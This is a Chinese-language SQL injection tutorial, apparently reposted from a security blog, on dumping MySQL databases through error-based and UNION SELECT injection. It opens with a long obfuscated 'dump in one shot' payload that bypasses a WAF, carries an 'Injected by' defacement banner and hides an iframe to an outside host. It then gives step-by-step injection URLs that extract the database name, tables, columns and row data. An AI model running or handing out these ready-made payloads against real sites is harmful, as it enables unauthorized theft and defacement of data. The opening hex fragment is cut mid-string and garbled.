d22677265656e223e207c20414c21334e207c3c2f666f6e743e3c2f7072653e3c2f68333e209203c62723e203c64697620636c6173733d22666f6f746572223e3c666f6e7420636f6c6f723d227768697465223e26636f70793b2032303139202d20efbfbd203c62723e3c2f6469763e203c62723e203c2f63656e7465723e209203c646976207374796c653d22646973706c61793a206e6f6e653b223e203c696672616d652077696474683d22302522206865696768743d223022207363726f6c6c696e673d226e6f22206672616d65626f726465723d226e6f22206c6f6f703d22747275652220616c6c6f773d226175746f706c617922207372633d2268747470733a2f2f632e746f7034746f702e6e65742f6d5f313038383976373562312e6d7033223e3c2f696672616d653e) concat/*!(unhex(hex(concat/*!(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3c62723e,unhex(hex(concat/*!(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e7472306a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c75653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696d617279204461746162617365203a3a20,@d:=database(),0x3c62723e44617461626173652055736572203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0) from(information_schema./**/columns)where(table_schema=database()) and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2, 0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3a3a204461746162617365203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e), 0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c2f666f6e743e))))x)))))*/ (/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a)/*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279204468346e692056757070616c61203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))

使用 DIOS 构建查询以转储整个数据库

在这种情况下,以下有效负载对我有用(来自所有 UNION SELECT 查询):

http://ip/index.php?id=1′ Union Select 1,2,3,4– –

因为第一列被反映到网站,我们必须用 DIOS 有效负载替换有效负载中的“1”值。

最终的有效载荷将是(我选择了第一个 DIOS 有效载荷):

http://ip/index.php?id=1' Union Select concat/*!(0x223e,version(),(select(@)+from+(selecT(@:=0x00),(select(0)+from+(/*!information_Schema*/.columns)+where+(table_Schema=database())and(0x00)in(@:=concat/*!(@,0x3c62723e,table_name,0x3a3a,column_name))))x))*/,2,3,4-- -

        如果网站确实加载成功,您将以一种很好的格式转储所有数据库(DIOS 会这样做)。

用传统方法倾倒

在传统的 SQL 注入方式中,您首先必须转储 database(),然后是 tables(),然后是 columns(),然后是列内的数据。但是您必须找到每个表和列的名称。

检索数据库

从 UNION SELECT 有效负载中,以下有效负载对我有用:

http://ip/index.php?id=1′ Union Select 1,2,3,4– –

因为第一列被反映到网站,我们必须用database()替换有效负载中的“1”值。

http://ip/index.php?id=1′ Union Select database(),2,3,4– –

该网站将向我们显示数据库名称:db109

数据库名称检索

图片

检索表

将数据库名称转换为0xHEX:0x6462313039

由于我们知道数据库名称,让我们使用此有效负载转储表名称(使用 group_concat()):

(SELECT+GROUP_CONCAT(table_name+SEPARATOR)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x6462313039)

我们的有效载荷将是:

http://ip/index.php?id=1' Union Select (SELECT+GROUP_CONCAT(able_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x6462313039),2,3,4-- -

检索列

现在所有的表都被转储了。我将专注于表名intranetdir,让我们转储该表的所有列。

将表名转换为0xHEX:0x696e7472616e6574646972

我们将使用此有效负载 group_concat() 转储列:

(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x696e7472616e6574646972)

带有 Payload 的最终 URL 将是:

http://ip/index.php?id=1' Union Select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x696e7472616e6574646972),2,3,4-- -

检索列内的数据

名为intranetdir的所有列都被转储。在这种情况下,我将转储名称列中的数据。对于我们的最终负载,我们需要使用 0xHEX 中的数据库名称、0xHEX 中的表名称和 0xHEX 中的列名称。

数据库:db109

表:intranetdir

列:name

最终的有效载荷将是:

(SELECT+GROUP_CONCAT(name+SEPARATOR+0x3c62723e)+FROM+db109.intranetdir)

最终 URL + Payload 将是:

http://ip/index.php?id=1' Union Select (SELECT+GROUP_CONCAT(name+SEPARATOR+0x3c62723e)+FROM+db109.intranetdir),2,3,4-- -

现在我们已经转储了name列中的所有数据

转自:Khan安全攻防实验室 

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » 基于 MySQL 错误的 SQL 注入

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏